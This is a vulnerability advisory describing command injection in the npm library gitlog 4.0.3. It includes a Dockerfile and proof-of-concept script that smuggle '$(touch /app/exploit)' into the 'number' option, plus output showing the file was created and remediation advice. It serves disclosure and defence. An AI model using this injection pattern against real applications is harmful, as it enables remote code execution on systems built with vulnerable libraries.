Command Injection Vulnerability In Gitlog

NODE NODEJS JAVASCRIPT NPM RCE TYPESCRIPT

 Ron Masas Jan 6, 2021

Details Overview

Summary

The `gitlog` function in `src/index.ts` has a command injection vulnerability.

Clients of the `gitlog` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

gitlog version 4.0.3

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Steps To Reproduce

1. In a new folder create the following files:

```
# Dockerfile
FROM node:10-slim
WORKDIR /app
RUN npm i gitlog@4.0.3
COPY poc.js /app/poc.js
ENTRYPOINT ls -l /app && node poc.js && ls -l /app
```

```
// poc.js
const gitlog = require('gitlog').default;
try {
    gitlog({ repo: '/app', number: '$(touch /app/exploit)' });
} catch (err) {
    // ignore
}
```

2. Run `docker build . -t poc`
3. Run `docker start poc`

Expected Result:

A file named `exploit` has been created

```
total 12
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js
/bin/sh: 1: git: not found
total 12
-rw-r--r-- 1 root root    0 Dec 15 13:09 exploit
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js
```

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile` instead of `child_process.exec`.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).

Resources

1. Commit ba1bdee